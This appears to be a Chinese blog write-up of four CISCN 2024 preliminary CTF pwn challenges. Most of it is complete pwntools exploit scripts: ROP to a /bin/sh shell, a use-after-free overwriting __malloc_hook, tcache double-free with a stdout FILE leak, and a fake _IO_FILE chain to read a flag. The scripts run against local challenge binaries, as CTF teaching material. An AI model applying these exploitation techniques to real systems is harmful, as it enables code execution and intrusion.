CISCN 2024初赛 Pwn

Pwn:

gostack:

查看保护

ida比较复杂,建议动调配合静态分析程序运行

这里函数返回不用leave和ret,而是利用add rsp和ret,所以要动调查看到底要覆盖哪里。

完整exp:


from pwn import*
p=process('./gostack')
syscall=0x4616c9
pop_rax=0x40f984
pop_rdi_r14_r13_r12_rbp_rbx=0x4a18a5
pop_rsi=0x42138a
pop_rdx=0x4944ec
bss=0x5633A0
ret=0x40201a
 
payload=b'\x00'*0x1d0
payload+=p64(pop_rdi_r14_r13_r12_rbp_rbx)+p64(0)+p64(0)*5+p64(pop_rsi)+p64(bss)+p64(pop_rdx)+p64(0x100)+p64(pop_rax)+p64(0)+p64(syscall)
payload+=p64(pop_rdi_r14_r13_r12_rbp_rbx)+p64(bss)+p64(0)*5+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(pop_rax)+p64(59)+p64(syscall)
p.sendlineafter(b'Input your magic message :',payload)
p.send(b'/bin/sh\x00')
p.interactive()

orange_cat_diary:

查看保护

查看ida

这里我们仅可以修改最新申请出来的堆块,但是有uaf漏洞。

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./orange')
free_got=0x201F78
 
def alloc(size,content):
    p.sendlineafter(b'Please input your choice:',b'1')
    p.sendlineafter(b'Please input the length of the diary content:',str(size))
    p.sendafter(b'Please enter the diary content:',content)
def show():
    p.sendlineafter(b'Please input your choice:',b'2')
def free():
    p.sendlineafter(b'Please input your choice:',b'3')
def edit(content):
    p.sendlineafter(b'Please input your choice:',b'4')
    p.sendlineafter(b'Please input the length of the diary content:',str(len(content)))
    p.sendafter(b'Please enter the diary content:',content)
 
p.sendafter(b'Please tell me your name.',b'a')
alloc(0x38,b'aaaa')
pause()
payload=b'\x00'*0x38+p64(0xfc1)
edit(payload)
alloc(0xfd0,b'a'*8)
alloc(0x68,b'a'*8)
show()
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("onelibc="+hex(onelibc))
mallochook=onelibc-0x678
libc=ELF('/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
libcbase=mallochook-libc.sym['__malloc_hook']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
gadget=[0x4525a,0xef9f4,0xf0897]
onegadget=libcbase+gadget[1]
free()
payload=p64(mallochook-0x23)
edit(payload)
payload=b'\x00'*0x13+p64(onegadget)
alloc(0x68,b'aa')
alloc(0x68,payload)
p.sendlineafter(b'Please input your choice:',b'1')
p.sendlineafter(b'Please input the length of the diary content:',str(1))
p.interactive()

#补充1:我们通过修改topchunk的size,再申请一个比topchunk大的堆块把topchunk释放到unsortedbin中,这里的0xfc1是有讲究的,因为要跟原topchunk的size页对齐。

ezbuf:

这道题的考点还是很多的。

首先就是要进行protobuf,因为这里调用创建堆块、释放堆块等功能并不像经典题目那样1234来进行堆块操作,而是要传结构化数据。

Protobuf逆向:

这里可以得出

name:heybro

shortname:Heybro

cname:Heybro

fileds在offset off_BAE0,而whatcon是第一个filed的名称

protobuf类型表:

typedef enum {
0 PROTOBUF_C_TYPE_INT32,      /**< int32 */
1 PROTOBUF_C_TYPE_SINT32,     /**< signed int32 */
2 PROTOBUF_C_TYPE_SFIXED32,   /**< signed int32 (4 bytes) */
3 PROTOBUF_C_TYPE_INT64,      /**< int64 */
4 PROTOBUF_C_TYPE_SINT64,     /**< signed int64 */
5 PROTOBUF_C_TYPE_SFIXED64,   /**< signed int64 (8 bytes) */
6 PROTOBUF_C_TYPE_UINT32,     /**< unsigned int32 */
7 PROTOBUF_C_TYPE_FIXED32,    /**< unsigned int32 (4 bytes) */
8 PROTOBUF_C_TYPE_UINT64,     /**< unsigned int64 */
9 PROTOBUF_C_TYPE_FIXED64,    /**< unsigned int64 (8 bytes) */
A PROTOBUF_C_TYPE_FLOAT,      /**< float */
B PROTOBUF_C_TYPE_DOUBLE,     /**< double */
C PROTOBUF_C_TYPE_BOOL,       /**< boolean */
D PROTOBUF_C_TYPE_ENUM,       /**< enumerated type */
E PROTOBUF_C_TYPE_STRING,     /**< UTF-8 or ASCII string */
F PROTOBUF_C_TYPE_BYTES,      /**< arbitrary byte sequence */
10 PROTOBUF_C_TYPE_MESSAGE,    /**< nested message */
} ProtobufCType;

 

根据filed写 .proto文件

syntax="proto3";

message heybro{
    bytes whatcon=1;
    sint64 whattodo=2;
    sint64 whatidx=3;
    sint64 whatsize=4;
    uint32 whatsthis=5;
}
用命令生成py文件
protoc heybro.proto --python_out=./

 完整exp:

解法一(建议解法):

解法思路:

#刚开始利用程序特性,他每创建一个0x30大小的堆块会先创建0x50大小的堆块和与输入data大小相同的堆块,然后在把data复制到0x30大小的堆块的,而0x50大小的堆块和data大小的堆块与smallbin中的堆块有关,可以复制出残留的libc地址。

#因为free次数有限,所以建议一开始就把要用的堆块都申请了。

#泄露heap地址直接利用uaf漏洞就行了。

#进行fastbin doublefree,填充tcachebin,然后在fastbin中进行double free,在heapbase+0xe0处创建堆块,这里是tcache_perthread_struct的entries指针,控制着tcachebin中相应大小的堆块,而在其上面是tcache_perthread_struct的counts,控制着tcachebin相应大小堆块的数量。

#在stdout附近创建堆块并修改数据,泄露stack地址。

#将rop覆盖到stack上,完成getshell。

from pwn import*
import heybro_pb2
#context(log_level='debug')
p=process('./ezbuf')

def gdbs():
    gdb.attach(p)
    pause()

def alloc(index,content):
    data=heybro_pb2.heybro()
    data.whattodo=1
    data.whatcon=content
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)
def free(index):
    data=heybro_pb2.heybro()
    data.whattodo=2
    data.whatcon=b''
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)
def show(index):
    data=heybro_pb2.heybro()
    data.whattodo=3
    data.whatcon=b''
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)



for i in range(9):
    alloc(i,b'a'*8)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21ace0
print("libcbase= "+hex(libcbase))
free(0)
show(0)
p.recvuntil(b'Content:')
oneheap=u64(p.recv(5).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=(oneheap<<12)-0x2000
print("heapbase= "+hex(heapbase))

for i in range(6):
    free(i+1)
free(7)
free(8)
free(7)
for i in range(7):
    alloc(i,b'aa')
target=((heapbase+0x4e30)>>12)^(heapbase+0xe0)
alloc(7,p64(target))
alloc(8,b'aa')
alloc(7,b'aa')


_IO_2_1_stderr_80=libcbase+0x21b6f0
_IO_2_1_stdout_=libcbase+0x21b780
payload=p64(0)+p64(_IO_2_1_stderr_80)+p64(0)+p64(heapbase+0xe0)
#payload=p64(0)+p64(_IO_2_1_stdout_)+p64(0)+p64(heapbase+0xe0)
alloc(7,payload)


environ=libcbase+0x222200
payload=p64(0)*18+p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)
#payload=p64(0xfbad1887)+p64(0)*3+p64(environ)+p64(environ+8)+p64(0)*18
alloc(7,payload)
onestack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("onestack= "+hex(onestack))
rbp=onestack-0x168
print("rbp= "+hex(rbp))


payload=p64(0)+p64(rbp)
payload=payload.ljust(0xe0,b'\x00')
alloc(7,payload)


libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
ret=libcbase+0x0000000000029139
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xc0,b'\x00')
alloc(7,payload)

p.interactive()

 解法二(修改counts的情况下):

还是不建议用这种方法,因为比较复杂一点,但是学一下修改counts还是有必要的。

from pwn import*
import heybro_pb2
#context(log_level='debug')
p=process('./ezbuf')

def gdbs():
    gdb.attach(p)
    pause()

def transmit(content):
    data=heybro_pb2.heybro()
    data.whattodo=0
    data.whatcon=content
    data.whatidx=0
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)
def alloc(index,content):
    data=heybro_pb2.heybro()
    data.whattodo=1
    data.whatcon=content
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)
def free(index):
    data=heybro_pb2.heybro()
    data.whattodo=2
    data.whatcon=b''
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)
def show(index):
    data=heybro_pb2.heybro()
    data.whattodo=3
    data.whatcon=b''
    data.whatidx=index
    data.whatsize=0
    data.whatsthis=0
    data=data.SerializeToString()
    p.sendafter(b'WANT?',data)

for i in range(9):
    alloc(i,b'a'*8)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21ace0
print("libcbase= "+hex(libcbase))
free(0)
show(0)
p.recvuntil(b'Content:')
oneheap=u64(p.recv(5).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=(oneheap<<12)-0x2000
print("heapbase= "+hex(heapbase))

for i in range(6):
    free(i+1)
free(7)
free(8)
free(7)
for i in range(7):
    alloc(i,b'aa')
target=((heapbase+0x4e30)>>12)^(heapbase+0xf0)
alloc(7,p64(target))
alloc(8,b'aa')
alloc(7,b'aa')
payload=p64(0)+p64(heapbase+0x10)
alloc(7,payload)

_IO_2_1_stderr_80=libcbase+0x21b6f0
_IO_2_1_stdout_=libcbase+0x21b780
payload=p16(0)*2+p16(1)+p16(1)+p16(0)*5+p16(1)+p16(0)+p16(1)
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0)*2+p64(_IO_2_1_stdout_)+p64(_IO_2_1_stdout_)+p64(0)*5+p64(heapbase+0xe0)
payload=payload.ljust(0xe0,b"\x00")
transmit(payload)

environ=libcbase+0x222200
payload=p64(0xfbad1800)+p64(0)*3+p64(environ)+p64(environ+8)
transmit(payload)
onestack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("onestack= "+hex(onestack))
rbp=onestack-0x168
print("rbp= "+hex(rbp))


payload=p64(0)+p64(rbp)
payload=payload.ljust(0xa0,b'\x00')
alloc(7,payload)


libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pop_rdi=libcbase+0x000000000002a3e5
ret=libcbase+0x0000000000029139
payload=b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
payload=payload.ljust(0xc0,b'\x00')
alloc(7,payload)

p.interactive()

EzHeap:

查看保护

解题思路:

利用largebin泄露出libc地址和heap地址,利用堆溢出在_IO_list_all处写入伪造_IO_FILE结构体地址,在某一堆块伪造_IO_FILE地址,在某一堆块写入orw,exit触发IO流完成ORW。

完整exp:


from pwn import*
#context(log_level='debug')
p=process('./ezheap')
 
def alloc(size,content):
    p.sendlineafter(b'>>',b'1')
    p.sendlineafter(b'size:',str(size).encode('utf-8'))
    p.sendafter(b'content',content)
def free(index):
    p.sendlineafter(b'>>',b'2')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
def edit(index,content):
    p.sendlineafter(b'>>',b'3')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
    p.sendlineafter(b'size:',str(len(content)).encode('utf-8'))
    p.sendafter(b'content',content)
def show(index):
    p.sendlineafter(b'>>',b'4')
    p.sendlineafter(b'idx:',str(index).encode('utf-8'))
 
def gdbs():
    gdb.attach(p)
    pause()
 
alloc(0x200,b'aa')
alloc(0x420,b'aa')
alloc(0x420,b'aa')
free(1)
alloc(0x440,b'aa')
show(0)
payload=b'a'*0x210
edit(0,payload)
show(0)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libcbase=onelibc-0x21b0d0
 
payload=b'a'*0x220
edit(0,payload)
show(0)
p.recvuntil(b'a'*0x220)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x2510
payload=b'a'*0x200+p64(0)+p64(0x431)
edit(0,payload)
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')
alloc(0x60,b'aa')#11
free(11)
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
IO_list_all=libcbase+libc.sym['_IO_list_all']
payload=b'a'*0x60+p64(0)+p64(0x71)+p64(((heapbase+0x19f0)>>12)^(IO_list_all))+p64(0)
edit(3,payload)
 
chunk0=heapbase+0x2300
chunk1=heapbase+0x2d80
chunk2=heapbase+0x2950
chunknew=heapbase+0x19f0
 
fake_IO_FILE_addr=chunk0+0x10
pop_rdi=libcbase+0x000000000002a3e5
pop_rsi=libcbase+0x000000000002be51
pop_rdx_r12=libcbase+0x000000000011f2e7
pop_rax=libcbase+0x0000000000045eb0
syscall=libcbase+0x91316
 
_IO_wfile_jumps=libcbase+0x2170c0
setcontext=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
flag_addr=chunknew+0x10
orw_addr=chunk2+0x10
 
fake_IO_FILE=p64(pop_rdi)
fake_IO_FILE+=p64(0)*7
fake_IO_FILE+=p64(1)+p64(2)
fake_IO_FILE+=p64(fake_IO_FILE_addr+0xb0)
fake_IO_FILE+=p64(setcontext+0x3d)
fake_IO_FILE=fake_IO_FILE.ljust(0x68,b'\x00')
fake_IO_FILE+=p64(0)
fake_IO_FILE=fake_IO_FILE.ljust(0x88,b'\x00')
fake_IO_FILE+=p64(heapbase+0x1000)
fake_IO_FILE=fake_IO_FILE.ljust(0xa0,b'\x00')
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x30)
fake_IO_FILE=fake_IO_FILE.ljust(0xc0,b'\x00')
fake_IO_FILE+=p64(1)
fake_IO_FILE=fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE+=p64(_IO_wfile_jumps+0x30)#需修改地址
fake_IO_FILE+=p64(0)*6
fake_IO_FILE+=p64(fake_IO_FILE_addr+0x40)
 
fake_IO_FILE+=p64(flag_addr)
fake_IO_FILE+=p64(0)*5
fake_IO_FILE+=p64(orw_addr)*2
fake_IO_FILE+=p64(ret)
edit(0,fake_IO_FILE)
 
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x1000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(pop_rax)+p64(1)+p64(syscall)
edit(2,orw)
 
print("orw="+hex(orw_addr))
print("setcontext3d="+hex(setcontext+0x3d))
print("pop_rdi="+hex(pop_rdi))
alloc(0x60,b'flag\x00')#flag_addr
alloc(0x60,p64(fake_IO_FILE_addr))
p.sendlineafter(b'>>',b'5')
 
p.interactive()

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值